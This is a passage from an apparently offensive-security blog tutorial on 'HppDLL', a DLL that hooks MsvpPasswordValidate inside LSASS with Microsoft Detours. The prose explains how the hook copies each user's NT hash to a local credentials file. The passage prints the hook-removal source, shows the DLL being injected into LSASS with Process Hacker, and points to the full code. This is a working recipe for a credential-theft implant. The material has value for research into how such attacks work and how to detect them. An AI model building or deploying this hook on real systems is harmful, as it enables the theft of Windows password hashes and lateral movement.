From line 19 to 22 we iterate over logonIdentity->Username.Buffer for logonIdentity->Username.Length/2 times. We have to do this, and not copy-paste directly the content of the buffer like we did with the domain, because this buffer contains the username AND other garbage. The Length field tells us where the username finishes and the garbage starts. Since the buffer contains unicode data, every character it holds actually occupies 2 bytes, so we need to iterate half the times over it. From line 25 to 29 we proceed to copy the first 16 bytes held by the Passwords structure (which contain the actual NT hash as we saw previously) and write them to the output file. To finish we proceed to call the actual MsvpPasswordValidate and return its return value at line 34 so that the authentication process can continue unimpeded.

RemoveHook.cpp

The last function we will take a look at is the RemoveHook function.

#include "pch.h"
#include "hppdll.h"

bool RemoveHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	auto error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to unhook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook removed!");
		return true;
	}
}

This function too relies on Detours magic. As you can see lines 6 to 9 are very similar to the ones called by InstallHook to inject our hook, the only difference is that we make use of the DetourDetach function instead of the DetourAttach one.

Test drive!

Alright, now that everything is ready we can proceed to compile the DLL and inject it into LSASS. For rapid prototyping I used Process Hacker for the injection.

hppdll gif

It works! This time I tried to authenticate as the user “last”, whose password is, awkwardly, “last”. You can see that even though the wrong password was input for the user, the true password hash has been written to C:\credentials. That’s all folks, it was a nice ride. You can find the complete code for HppDLL on my GitHub.

last out!

❌
❌